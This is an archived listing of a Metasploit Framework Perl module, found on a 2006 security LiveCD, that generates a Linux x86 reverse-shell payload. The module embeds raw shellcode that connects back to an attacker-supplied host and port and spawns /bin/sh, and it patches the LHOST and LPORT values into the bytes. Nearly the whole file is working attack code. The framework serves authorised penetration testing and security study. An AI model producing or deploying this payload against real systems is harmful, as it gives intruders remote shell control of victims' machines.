home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / linux_ia32_reverse.pm < prev    next >
Text File  |  2006-06-30  |  2KB  |  75 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::linux_ia32_reverse;
  11. use strict;
  12. use base 'Msf::PayloadComponent::ReverseConnection';
  13.  
  14. my $info =
  15. {
  16.   'Name'         => 'Linux IA32 Reverse Shell',
  17.   'Version'      => '$Revision: 1.2 $',
  18.   'Description'  => 'Connect back to attacker and spawn a shell',
  19.   'Authors'      => [ 'skape <mmiller [at] hick.org>', ],
  20.   'Arch'         => [ 'x86' ],
  21.   'Priv'         => 0,
  22.   'OS'           => [ 'linux' ],
  23.   'Size'         => '',
  24. };
  25.  
  26. sub new 
  27. {
  28.     my $class = shift;
  29.     my $hash = @_ ? shift : { };
  30.     $hash = $class->MergeHashRec($hash, {'Info' => $info});
  31.     my $self = $class->SUPER::new($hash, @_);
  32.  
  33.     $self->_Info->{'Size'} = $self->_GenSize;
  34.     return($self);
  35. }
  36.  
  37. sub Build 
  38. {
  39.     my $self = shift;
  40.     return($self->Generate($self->GetVar('LHOST'), $self->GetVar('LPORT')));
  41. }
  42.  
  43. sub Generate 
  44. {
  45.     my $self = shift;
  46.     my $host = shift;
  47.     my $port = shift;
  48.     my $off_host = 0x1a;
  49.     my $off_port = 0x20;
  50.  
  51.     my $host_bin = gethostbyname($host);
  52.     my $port_bin = pack('n', $port);
  53.  
  54.     my $shellcode =
  55.         "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59" .
  56.         "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x7f\x00\x00\x01\x66\x68" .
  57.         "\xbf\xbf\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd" .
  58.         "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" .
  59.         "\x89\xe1\xb0\x0b\xcd\x80";
  60.  
  61.     substr($shellcode, $off_port, 2, $port_bin);
  62.     substr($shellcode, $off_host, 4, $host_bin);
  63.  
  64.     return($shellcode);
  65. }
  66.  
  67. sub _GenSize 
  68. {
  69.     my $self = shift;
  70.     my $bin = $self->Generate('127.0.0.1', '4444');
  71.     return(length($bin));
  72. }
  73.  
  74. 1;
  75.